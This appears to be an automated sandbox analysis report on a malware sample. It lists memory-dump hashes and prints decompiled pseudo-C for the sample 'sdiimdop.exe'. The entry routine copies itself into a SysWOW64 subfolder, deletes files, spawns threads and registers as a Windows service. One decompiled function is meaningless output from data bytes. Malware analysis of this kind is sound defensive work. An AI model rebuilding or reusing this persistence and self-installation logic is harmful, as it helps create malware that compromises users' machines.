String ID:
API String ID:
Opcode ID: 8d6d7b533bbcf5ce6af723ec3f88673a0e537e485ece367e0c2724a645ad4571
Instruction ID: a692c1e968f9f2f4e04f6b91fc6cbc2fc72985cb6d565595362bd278242a7f4d
Opcode Fuzzy Hash: 8d6d7b533bbcf5ce6af723ec3f88673a0e537e485ece367e0c2724a645ad4571
Instruction Fuzzy Hash: 4CD05E3230A914171615254E788887BBACFEBC8665314013AE509C3305DEA58C028291

Uniqueness

Uniqueness Score: -1.00%

Function 0568F268, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71c27f188aecfe087539a59edc0ee42ffc0bd27154d5f8e3658d13f3a85f90b1
Instruction ID: 6f89ceba81a87976edbc7218abfee7db1de2a3bd8b034ab030f755f0c7b0896c
Opcode Fuzzy Hash: 71c27f188aecfe087539a59edc0ee42ffc0bd27154d5f8e3658d13f3a85f90b1
Instruction Fuzzy Hash: 0EE0EC365041187FDB02CE94DC519AABB6AEB8A320F04C45AFD4556261CAB2DD22DB91

Uniqueness

Uniqueness Score: -1.00%

Function 05687392, Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13a1a2f7501caa16429f0079f1539497c1342877ab3268fa386b53f4e06cc3de
Instruction ID: 2a4cb99415a899ef9706b8855161f72492c3da3d4a2c787aff238a16bdffc198
Opcode Fuzzy Hash: 13a1a2f7501caa16429f0079f1539497c1342877ab3268fa386b53f4e06cc3de
Instruction Fuzzy Hash: CDE0C232B40854CBCF05EB09C0869B87770EF442217540098DD0ABB100D723A946CB82

Uniqueness

Uniqueness Score: -1.00%

Function 030B79F8, Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c88a789d06a2965f22f3383ef3e7bbf13fb25ce10bfc3b4be350088ba851f7a5
Instruction ID: 0537844b6ffc1ca88073bf912ccd3b41c520585a44ac3ec212a2f45c17f094a8
Opcode Fuzzy Hash: c88a789d06a2965f22f3383ef3e7bbf13fb25ce10bfc3b4be350088ba851f7a5
Instruction Fuzzy Hash: 22D0A730202B16979724EB67E8404D7B3EDDFC45647488C2AE44E87A54EF61F8028BC4

Uniqueness

Uniqueness Score: -1.00%

Function 0568E9B8, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff1f0469260627d3964304cecd50dfecf96545973d92d757057034d1ab1fb46f
Instruction ID: ec4733cedcc3694ed750c9e852813db92b439af65bddf0cbebfd8fe4b1322399
Opcode Fuzzy Hash: ff1f0469260627d3964304cecd50dfecf96545973d92d757057034d1ab1fb46f
Instruction Fuzzy Hash: 56D0A7B17044005FD305CA64C851955BF65DFA6300B14C46EA409C7351E672EC03CA10

Uniqueness

Uniqueness Score: -1.00%

Function 05686C38, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 674961f8073a798eaadd7b92fbe92a1323aa9c892ce3e71ddb67f6c070296e98
Instruction ID: 730f6c727fb98f164bbf70d1b2eb139a80bbab08e5f69511c46b9bf8dc78da8f
Opcode Fuzzy Hash: 674961f8073a798eaadd7b92fbe92a1323aa9c892ce3e71ddb67f6c070296e98
Instruction Fuzzy Hash: E9C080B29514200BCB115756E5947FC7719DBE3612F254563D00FC6708D9F4CC8389D0

Uniqueness

Uniqueness Score: -1.00%

Function 05686DE4, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d8403345fe7402bd8d85db9261efc95186960f67de8f84673eeaad06aa0c580
Instruction ID: e41a47c3b80502feb7f8b8e49226b2ea9d87327c9b96ebeba89f2656ab1dc6be
Opcode Fuzzy Hash: 5d8403345fe7402bd8d85db9261efc95186960f67de8f84673eeaad06aa0c580
Instruction Fuzzy Hash: 46D0C935B00008CF8B44DBADE0505ED7BF5EF98216B1000AAE219C7220EB719C968F40

Uniqueness

Uniqueness Score: -1.00%

Function 0568704C, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 472324f87beb1893fa7eb10f674460e052f04904fe966d05194ce73c3bccb1ce
Instruction ID: a4eb94e236672d4224fbd221f1848da7c04cc46b8738fc2fbf05563e46a3936c
Opcode Fuzzy Hash: 472324f87beb1893fa7eb10f674460e052f04904fe966d05194ce73c3bccb1ce
Instruction Fuzzy Hash: 3CD01235740008CF8B08DB9DD4105EC73B5DFD4215B1000A7E206C7630DB71DC96CB80

Uniqueness

Uniqueness Score: -1.00%

Function 05686F08, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0843d5993a9b624f3dfba23fcac1bc12dedf7454c8f77bf9dbde1c08c966f14f
Instruction ID: 8f8a06eb9981d95102ce59833fccca8a24a9ece2f274488d21a13bbdbd113931
Opcode Fuzzy Hash: 0843d5993a9b624f3dfba23fcac1bc12dedf7454c8f77bf9dbde1c08c966f14f
Instruction Fuzzy Hash: A0D01235740408CFC704E79DD0144EC7BF5EFD421575140A6E209C7220DB71DD558B50

Uniqueness

Uniqueness Score: -1.00%

Function 0568739B, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5fe6ceda39fb655f2eda780f413ea333e73e72ebcaef44202b1f12cdf050aed
Instruction ID: c4a978be1823374960d3d4ff24b342373b4426d61844a1f4e7bf951442c0f28b
Opcode Fuzzy Hash: a5fe6ceda39fb655f2eda780f413ea333e73e72ebcaef44202b1f12cdf050aed
Instruction Fuzzy Hash: E1C01235700004CF8B08EBACE0109FC77A6EFD962671000AAE21ACB230DB229C968B80

Uniqueness

Uniqueness Score: -1.00%

Function 0568EAE0, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdb860801fbf23eacf38f4d4cf08e4a5dec10f5e84ae51e79fbe4fc47d71fb89
Instruction ID: c620a86a22d657e47a2b1704e049673fafb80240179c411727057d7590f76e83
Opcode Fuzzy Hash: cdb860801fbf23eacf38f4d4cf08e4a5dec10f5e84ae51e79fbe4fc47d71fb89
Instruction Fuzzy Hash: AFD02231000204BFC380DB90C461CA8BBB0EF91314F20C0AFDC0A4A602C633CA53CA40

Uniqueness

Uniqueness Score: -1.00%

Function 030B0A83, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fc901216067bd187b50828217985195067b4b35434f19b8b110fec2a5281dd9
Instruction ID: edc1908f2455f55e0a0835b6f0cf3e16b11fae01778058471cfc39ef1f868a15
Opcode Fuzzy Hash: 5fc901216067bd187b50828217985195067b4b35434f19b8b110fec2a5281dd9
Instruction Fuzzy Hash: 28D01331009F869FC701D7A4D4515517FA4BD5310430505D6D455CF11EC6156414878D

Uniqueness

Uniqueness Score: -1.00%

Function 030B0FC0, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62515f3d1cf349cc9e701ed354d9227669e21ef8153c8b4d04f959c214f3372c
Instruction ID: a876672370576dd3ecd921b27de44065dbf7f509868f5cd0c4d1cefbbed34cf9
Opcode Fuzzy Hash: 62515f3d1cf349cc9e701ed354d9227669e21ef8153c8b4d04f959c214f3372c
Instruction Fuzzy Hash: EFC08CF82006088FE3088B78E888A277AE2EFE8315F41C42A60008A228EB70C850CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0568EAF0, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e3b56c9ebe6d435a9a9abadf87828194f8653cd07c59dce594b8633cceccad6
Instruction ID: 7f8e162aa07cf50f5480612478ba73ff6b11219455554e04c940464c2198bc32
Opcode Fuzzy Hash: 3e3b56c9ebe6d435a9a9abadf87828194f8653cd07c59dce594b8633cceccad6
Instruction Fuzzy Hash: AEB09235104208AB8600DA85D841C15FB69EB95264714C06AED084B312CA33E923DA94

Uniqueness

Uniqueness Score: -1.00%

Function 05687AB2, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d84ab4870dd9e2cfd351561d1e497e287bcbf571497767cc81f948c99a3d5736
Instruction ID: 86722e9c06a65f25777c5aabe2b516c3fddf89ab5166d408a0748e386890b2e5
Opcode Fuzzy Hash: d84ab4870dd9e2cfd351561d1e497e287bcbf571497767cc81f948c99a3d5736
Instruction Fuzzy Hash: E8C08CA291FAC09FCF93973884782003F809B13321B0A06CDC4E64F1EBC2180406D267

Uniqueness

Uniqueness Score: -1.00%

Function 030B0A90, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d0fdcf72262200f3d63168560e8230ab8ec438414940ec0b26a400e3fe660d5
Instruction ID: f956fff1b3ca440a067f43c49aa62a8c9cf782f7b9355509028e402454f2ea1d
Opcode Fuzzy Hash: 7d0fdcf72262200f3d63168560e8230ab8ec438414940ec0b26a400e3fe660d5
Instruction Fuzzy Hash: 28B01231001A0E9B8640FFA5F546445371CF9906083410912A40C861199E7F68704ECC

Uniqueness

Uniqueness Score: -1.00%

Function 05687AC0, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 191e079490764ac9aca04fb310a253bcd22ca72dd41895fb981444061e24ab31
Instruction ID: 4311980f3b33e32a896782ce60c6f5c8795efc2e45c2a67c3f1a916588316976
Opcode Fuzzy Hash: 191e079490764ac9aca04fb310a253bcd22ca72dd41895fb981444061e24ab31
Instruction Fuzzy Hash: E8C09271506A44CFDB06DF20D048800BB72AF4230535980D8D00A8B622C736DC86CB00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00CB428C, Relevance: .0, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00CB428C() {
				signed char _t42;
				signed char _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				signed char _t46;
				signed int* _t47;
				signed int _t48;
				signed int _t49;
				signed char _t57;
				signed char _t58;
				signed char _t59;
				signed char _t60;
				signed char _t61;
				signed int* _t64;
				void* _t65;
				void* _t66;
				void* _t71;
				intOrPtr* _t73;
				signed int* _t76;
				void* _t78;
				signed int _t79;

				 *_t42 =  *_t42 + _t42;
				_t43 = _t42 &  *_t42;
				 *_t43 =  *_t43 + _t43;
				 *_t43 =  *_t43 + _t43;
				_t79 = _t78 + 1;
				_push(_t71);
				 *_t43 =  *_t43 + _t43;
				if( *_t43 != 0) {
					 *_t43 =  *_t43 + _t43;
					 *_t43 =  *_t43 + _t43;
					asm("sti");
					asm("adc [eax], eax");
					 *0x31 = _t64 +  *0x31;
					0x31 = 0x21000038;
					 *_t43 =  *_t43 + _t43;
					asm("fst dword [eax+eax]");
					_t61 = _t61 - 1 + 1;
					_pop(_t60);
					 *_t60 =  *_t60 + _t60;
					asm("outsd");
					_t43 = _t60;
					 *0x46000000 =  *0x46000000 + _t43;
				}
				_t44 = _t43 + 0x46000000;
				 *_t44 =  *_t44 + _t44;
				_t76[0x1d800003] = _t76[0x1d800003] + _t61;
				asm("adc eax, [eax]");
				_t45 = _t44 + _t44;
				_pop(ds);
				 *_t45 =  *_t45 + _t45;
				_push(es);
				 *_t45 =  *_t45 + _t45;
				_t46 = _t45 + 1;
				_t73 = _t71 + 2;
				 *_t46 =  *_t46 + _t46;
				if( *_t46 != 0) {
					 *_t46 =  *_t46 + _t46;
					_t57 = _t61;
					_t61 = _t46;
					_t58 = _t57;
					 *((intOrPtr*)(_t61 - 0x3fffff0)) =  *((intOrPtr*)(_t61 - 0x3fffff0)) + _t58;
					asm("sldt word [eax]");
					_t76 = _t76 - 1;
					 *[es:eax] =  *[es:eax] + _t58;
					asm("retf 0x53");
					 *((intOrPtr*)(_t79 + 0x3d650000 + _t58 * 2)) =  *((intOrPtr*)(_t79 + 0x3d650000 + _t58 * 2)) + _t58;
					 *_t58 =  *_t58 + _t58;
					asm("out dx, eax");
					_t59 = _t58 |  *_t58;
					 *_t73 =  *_t73 + _t59;
					_t46 = _t59 + 0x3d450000;
					 *_t46 =  *_t46 + _t46;
					asm("aad 0x4b");
					 *_t46 =  *_t46 + _t46;
					asm("int3");
					_push(es);
					 *_t46 =  *_t46 + _t46;
					 *_t46 =  *_t46 + _t46;
					asm("aaa");
					 *_t46 =  *_t46 + _t46;
					 *_t46 =  *_t46 + _t46;
					 *0x31 =  *0x31 << 1;
					 *_t46 =  *_t46 + _t46;
				}
				asm("cmpsb");
				_push(_t64);
				 *_t46 =  *_t46 + _t46;
				asm("wait");
				 *_t46 =  *_t46 + _t46;
				 *_t46 =  *_t46 + _t46;
				 *_t76 =  *_t76 | _t79;
				 *_t46 =  *_t46 + _t46;
				asm("iretd");
				asm("das");
				 *_t46 =  *_t46 + _t46;
				 *_t64 =  *_t64 ^ 0x00000031;
				 *_t64 =  *_t64 + _t61;
				_t47 = _t46 -  *_t46;
				 *((intOrPtr*)(_t73 + _t76)) =  *((intOrPtr*)(_t73 + _t76)) + _t61;
				 *((intOrPtr*)(_t61 + 0x28000040)) =  *((intOrPtr*)(_t61 + 0x28000040)) + _t64;
				 *_t47 = _t47 +  *_t47;
				asm("sbb ah, [edx]");
				 *_t47 = _t47 +  *_t47;
				ss = es;
				 *_t47 = _t47 +  *_t47;
				asm("fsubr qword [esi]");
				 *_t47 = _t47 +  *_t47;
				 *_t47 =  *_t47 >> 1;
				 *_t47 = _t47 +  *_t47;
				_t48 =  &(_t47[0xb55c000]);
				 *_t48 =  *_t48 + _t48;
				asm("fimul dword [eax+eax]");
				 *0x1f000027 = _t48;
				asm("adc al, 0x0");
				 *0xFFFFFFFFE3000047 =  *((intOrPtr*)(0xffffffffe3000047)) + _t64;
				 *_t48 =  *_t48 + _t48;
				 *[fs:eax] =  *[fs:eax] & _t48;
				 *((intOrPtr*)(_t48 + 0x50)) =  *((intOrPtr*)(_t48 + 0x50)) + 0x31;
				 *_t48 =  *_t48 + _t48;
				asm("insb");
				_push(0xe3000016);
				 *_t48 =  *_t48 + _t48;
				asm("invalid");
				 *_t48 =  *_t48 + _t48;
				 *_t48 =  *_t48 | _t48;
				 *0xFFFFFFFFB200006B =  *((intOrPtr*)(0xffffffffb200006b)) + _t61;
				 *_t48 =  *_t48 + _t48;
				 *_t48 =  *_t48 + _t48;
				asm("int1");
				 *_t48 =  *_t48 + _t48;
				_t65 = _t64 + _t61;
				 *_t48 =  *_t48 + _t48;
				 *[gs:eax] =  *[gs:eax] ^ _t48;
				 *((intOrPtr*)(_t65 + 0x16)) =  *((intOrPtr*)(_t65 + 0x16)) + _t61;
				 *_t48 =  *_t48 + _t48;
				_push(es);
				 *_t48 =  *_t48 + _t48;
				_push(_t73);
				 *_t48 =  *_t48 + _t48;
				 *_t76 =  *_t76 + _t65;
				_push(es);
				 *_t48 =  *_t48 + _t48;
				if( *_t48 <= 0) {
					 *_t48 =  *_t48 + _t48;
					_t65 = 0x1b;
					 *_t48 =  *_t48 + _t48;
					 *_t48 =  *_t48 + _t48;
				}
				 *0x31 =  *0x31 + _t48;
				 *_t48 =  *_t48 + _t48;
				asm("sldt word [eax]");
				asm("cmpsd");
				_pop(ss);
				 *_t48 =  *_t48 + _t48;
				_t66 = _t65 + 1;
				 *_t48 =  *_t48 + _t48;
				asm("invalid");
				 *_t48 =  *_t48 + _t48;
				asm("loop 0x1e");
				 *_t48 =  *_t48 + _t48;
				asm("daa");
				 *_t48 =  *_t48 + _t48;
				 *0xbb30000 =  *0xbb30000 | 0x00000031;
				_t49 = _t48 |  *_t48;
				 *((intOrPtr*)(_t61 + 0x4c)) =  *((intOrPtr*)(_t61 + 0x4c)) + _t61;
			}

0x00cb428d
0x00cb428f
0x00cb4291
0x00cb4299
0x00cb429b
0x00cb429c
0x00cb429d
0x00cb429f
0x00cb42a1
0x00cb42a9
0x00cb42ab
0x00cb42ac
0x00cb42ae
0x00cb42b0
0x00cb42b1
0x00cb42b3
0x00cb42b7
0x00cb42b8
0x00cb42b9
0x00cb42bb
0x00cb42bc
0x00cb42be
0x00cb42be
0x00cb42bf
0x00cb42c4
0x00cb42c6
0x00cb42cc
0x00cb42ce
0x00cb42d0
0x00cb42d1
0x00cb42d4
0x00cb42d5
0x00cb42d7
0x00cb42d8
0x00cb42d9
0x00cb42db
0x00cb42dd
0x00cb42df
0x00cb42df
0x00cb42e0
0x00cb42e2
0x00cb42e8
0x00cb42eb
0x00cb42ec
0x00cb42ef
0x00cb42f2
0x00cb42f9
0x00cb42fb
0x00cb42fc
0x00cb42fe
0x00cb4300
0x00cb4305
0x00cb4307
0x00cb4309
0x00cb430b
0x00cb430c
0x00cb430d
0x00cb4311
0x00cb4318
0x00cb4319
0x00cb431d
0x00cb431f
0x00cb4321
0x00cb4321
0x00cb4323
0x00cb4324
0x00cb4325
0x00cb4327
0x00cb4329
0x00cb432d
0x00cb432f
0x00cb4331
0x00cb4333
0x00cb4334
0x00cb4335
0x00cb4337
0x00cb433a
0x00cb433c
0x00cb433e
0x00cb4342
0x00cb4349
0x00cb434b
0x00cb434d
0x00cb4350
0x00cb4351
0x00cb4353
0x00cb4355
0x00cb4357
0x00cb4359
0x00cb4360
0x00cb4365
0x00cb4367
0x00cb436b
0x00cb4370
0x00cb4372
0x00cb4375
0x00cb4377
0x00cb437a
0x00cb437d
0x00cb437f
0x00cb4380
0x00cb4381
0x00cb4383
0x00cb4385
0x00cb438c
0x00cb438e
0x00cb4391
0x00cb4395
0x00cb4397
0x00cb4398
0x00cb439a
0x00cb439d
0x00cb439f
0x00cb43a2
0x00cb43a5
0x00cb43a7
0x00cb43a9
0x00cb43ab
0x00cb43ac
0x00cb43ae
0x00cb43b0
0x00cb43b1
0x00cb43b3
0x00cb43b5
0x00cb43b7
0x00cb43b9
0x00cb43bd
0x00cb43bd
0x00cb43be
0x00cb43c1
0x00cb43c4
0x00cb43c7
0x00cb43c8
0x00cb43c9
0x00cb43cc
0x00cb43cd
0x00cb43cf
0x00cb43d1
0x00cb43d3
0x00cb43d5
0x00cb43d8
0x00cb43d9
0x00cb43db
0x00cb43e0
0x00cb43e2

Memory Dump Source

Source File: 00000013.00000002.404598180.0000000000CB2000.00000002.00020000.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000013.00000002.404581492.0000000000CB0000.00000002.00020000.sdmp Download File
Associated: 00000013.00000002.404688639.0000000000D36000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e5470a7c243f4e4334ef45d5420b326ad8a0fa4a8da4cf477e9e8bf2afcf011
Instruction ID: ef891f99124e96d122dc33681028e71a1ee064aa1b94a5adb04dce45af78db4b
Opcode Fuzzy Hash: 4e5470a7c243f4e4334ef45d5420b326ad8a0fa4a8da4cf477e9e8bf2afcf011
Instruction Fuzzy Hash: E301AA6248E7C01FD3038B715D71A863FB4AEA3258B0E86DBD4D18F8A3C1085A4AD332

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: sdiimdop.exe PID: 4560 Parent PID: 556 sdiimdop.exeCOMMON

Executed Functions

Function 00409A6B, Relevance: 102.3, APIs: 48, Strings: 10, Instructions: 799
stringsleepregistryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			_entry_(CHAR* _a12, void* _a15) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				char _v28;
				char _v32;
				union _GET_FILEEX_INFO_LEVELS _v36;
				CHAR* _v40;
				char _v44;
				char _v48;
				struct _PROCESS_INFORMATION _v64;
				char _v80;
				char _v112;
				char _v371;
				char _v372;
				char _v671;
				char _v672;
				char _v704;
				struct _STARTUPINFOA _v772;
				char _v1271;
				char _v1272;
				char _v1672;
				char _t238;
				long _t239;
				char _t242;
				long _t244;
				CHAR* _t248;
				char _t250;
				intOrPtr _t257;
				char _t267;
				intOrPtr* _t272;
				char _t276;
				char _t279;
				char _t282;
				char _t283;
				void* _t284;
				char _t294;
				CHAR* _t303;
				int _t304;
				char _t309;
				CHAR* _t312;
				char _t318;
				int _t324;
				CHAR* _t325;
				char _t328;
				char* _t331;
				char _t332;
				char _t340;
				char _t344;
				CHAR* _t357;
				CHAR* _t358;
				int _t359;
				int _t373;
				long _t379;
				void* _t383;
				void* _t396;
				void* _t401;
				char _t402;
				char _t403;
				intOrPtr* _t410;
				void* _t411;
				char _t417;
				char _t418;
				void* _t424;
				intOrPtr _t426;
				void* _t428;
				char* _t436;
				intOrPtr _t441;
				CHAR* _t442;
				void* _t450;
				void* _t451;
				char _t459;
				void* _t464;
				void* _t465;
				void* _t467;
				void* _t468;
				void* _t469;
				void* _t470;
				void* _t471;
				void* _t474;
				intOrPtr _t475;

				SetErrorMode(3); // executed
				SetErrorMode(3); // executed
				SetUnhandledExceptionFilter(E00406511); // executed
				E0040EC54(); // executed
				_t475 =  *0x41201f; // 0x0
				if(_t475 != 0) {
					__eflags =  *0x4133d8; // 0x43
					if(__eflags == 0) {
						L126:
						CreateThread(0, 0, E0040405E, 0, 0, 0);
						__imp__#115(0x1010,  &_v1672);
						E0040E52E(_t449, __eflags);
						E0040EAAF(1, 0);
						E00401D96(_t438, 0x412118);
						E004080C9(_t438);
						CreateThread(0, 0, E0040877E, 0, 0, 0);
						E00405E6C(__eflags);
						E00403132();
						E0040C125(__eflags);
						E00408DB1(_t438);
						Sleep(0xbb8);
						E0040C4EE();
						while(1) {
							__eflags =  *0x4133d0; // 0x0
							if(__eflags == 0) {
								goto L129;
							}
							_t239 = GetTickCount();
							__eflags = _t239 -  *0x4133d0 - 0x186a0;
							if(_t239 -  *0x4133d0 < 0x186a0) {
								L131:
								Sleep(0x2710);
								continue;
							}
							L129:
							_t238 = E0040C913();
							__eflags = _t238;
							if(_t238 == 0) {
								 *0x4133d0 = GetTickCount();
							}
							goto L131;
						}
					}
					_a12 = 0xa;
					while(1) {
						_t242 = DeleteFileA(0x4133d8);
						__eflags = _t242;
						if(_t242 != 0) {
							break;
						}
						__eflags = _a12;
						if(_a12 <= 0) {
							break;
						}
						_t244 = GetLastError();
						__eflags = _t244 - 2;
						if(_t244 == 2) {
							break;
						}
						_t219 =  &_a12;
						 *_t219 = _a12 - 1;
						__eflags =  *_t219;
						Sleep(0x3e8);
					}
					E0040EE2A(_t438, 0x4133d8, 0, 0x104);
					_t465 = _t465 + 0xc;
					goto L126;
				} else {
					_v12 = 0;
					if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) == 0) {
						_v672 = 0;
					}
					if(_v672 == 0x22) {
						E0040EF00( &_v672,  &_v671);
						_t436 = E0040ED23( &_v672, 0x22);
						_t465 = _t465 + 0x10;
						if(_t436 != 0) {
							 *_t436 = 0;
						}
					}
					_t248 = GetCommandLineA();
					_t459 = 0x4122f8;
					_a12 = _t248;
					_t250 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a48, 4, 0xe4, 0xc8));
					_t454 = 0x100;
					_v8 = _t250;
					E0040EE2A(_t438, 0x4122f8, 0, 0x100);
					_t467 = _t465 + 0x28;
					if(_v8 == 0) {
						_t257 = E004096AA( &_v672,  &_v48,  &_v44,  &_v372,  &_v112); // executed
						_t467 = _t467 + 0x14;
						_v16 = _t257;
						if(_t257 == 0) {
							E0040EF00("C:\\Windows\\SysWOW64\\dbgxuqbr\\sdiimdop.exe",  &_v672);
							_pop(_t438);
							_a12 = GetCommandLineA();
							_v8 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a38, 4, 0xe4, 0xc8));
							E0040EE2A(_t438, 0x4122f8, 0, 0x100);
							_t468 = _t467 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								L102:
								_v8 = E0040EE95(_a12, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
								E0040EE2A(_t438, _t459, 0, _t454);
								_t467 = _t468 + 0x28;
								__eflags = _v8;
								if(_v8 == 0) {
									L110:
									_t267 = E00406EC3();
									__eflags = _t267;
									if(_t267 != 0) {
										E004098F2(_t438);
										L19:
										ExitProcess(0); // executed
									}
									__eflags = _v372;
									if(_v372 == 0) {
										L116:
										 *0x4133b0 = 0;
										L117:
										_v64.hProcess =  &_v372;
										_v64.hThread = E00409961;
										_v64.dwProcessId = 0;
										_v64.dwThreadId = 0;
										StartServiceCtrlDispatcherA( &_v64); // executed
										goto L19;
									}
									_t272 =  &_v372;
									_t449 = _t272 + 1;
									do {
										_t438 =  *_t272;
										_t272 = _t272 + 1;
										__eflags = _t438;
									} while (_t438 != 0);
									__eflags = _t272 - _t449 - 0x20;
									if(_t272 - _t449 >= 0x20) {
										goto L116;
									}
									E0040EF00("dbgxuqbr",  &_v372);
									_pop(_t438);
									goto L117;
								}
								_t459 = _v8 + 3;
								_t276 = E0040ED03(_t459, 0x20);
								_pop(_t438);
								__eflags = _t276;
								if(_t276 != 0) {
									L107:
									_t454 = _t276 - _t459;
									__eflags = _t454 - 0x20;
									if(_t454 >= 0x20) {
										_t454 = 0x1f;
									}
									E0040EE08(0x412184, _t459, _t454);
									_t467 = _t467 + 0xc;
									 *((char*)(_t454 + 0x412184)) = 0;
									goto L110;
								}
								_t279 = _t459;
								_t449 = _t279 + 1;
								do {
									_t438 =  *_t279;
									_t279 = _t279 + 1;
									__eflags = _t438;
								} while (_t438 != 0);
								_t276 = _t279 - _t449 + _t459;
								__eflags = _t276;
								goto L107;
							}
							_t282 = _v8 + 3;
							_v672 = 0;
							__eflags =  *_t282 - 0x22;
							_v20 = _t282;
							if( *_t282 != 0x22) {
								_t283 = E0040ED03(_v20, 0x20);
								_pop(_t438);
								__eflags = _t283;
								if(_t283 == 0) {
									_t283 =  &(_a12[lstrlenA(_a12)]);
									__eflags = _t283;
								}
								_t284 = _t283 - _v8;
								_v24 = _t284;
								__eflags = _t284 + 0xfffffffd;
								E0040EE08( &_v672, _v20, _t284 + 0xfffffffd);
								 *((char*)(_t464 + _v24 - 0x29f)) = 0;
								L98:
								_t468 = _t468 + 0xc;
								L99:
								__eflags = _v672;
								if(_v672 != 0) {
									E0040EE08("C:\Users\alfons\AppData\Local\Temp\18D.exe",  &_v672, 0x103);
									_t468 = _t468 + 0xc;
								}
								 *0x412cc0 = 1;
								goto L102;
							}
							_v20 = _v8 + 4;
							_t294 = E0040ED03(_v8 + 4, 0x22);
							_pop(_t438);
							__eflags = _t294;
							if(_t294 == 0) {
								goto L99;
							}
							_v24 = _t294 - _v8;
							E0040EE08( &_v672, _v20, _t294 - _v8 + 0xfffffffc);
							 *((char*)(_t464 + _v24 - 0x2a0)) = 0;
							goto L98;
						}
						_v36 = 0;
						if(_t257 >= 4 || _v48 > 0x61 && _v44 != 0) {
							L84:
							if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) != 0) {
								_t303 =  &_v672;
								if(_v672 == 0x22) {
									_t303 =  &_v671;
								}
								if(_t303[1] == 0x3a && _t303[2] == 0x5c) {
									_t303[3] = 0;
									_t304 = GetDriveTypeA(_t303);
									_t515 = _t304 - 2;
									if(_t304 != 2) {
										E00409145(_t515);
										_t438 = 1;
									}
								}
							}
							goto L19;
						} else {
							E00404280(_t438, 1);
							_pop(_t438);
							if(_v672 == 0) {
								goto L84;
							}
							_t309 = E0040675C( &_v672,  &_v12, 0);
							_t467 = _t467 + 0xc;
							_v8 = _t309;
							if(_t309 == 0 || _v12 == 0) {
								goto L84;
							} else {
								_v32 = 0;
								_v28 = 0;
								if(_v16 == 2) {
									L55:
									__eflags = _v16 - 3;
									if(_v16 >= 3) {
										L83:
										E0040EC2E(_v8);
										_pop(_t438);
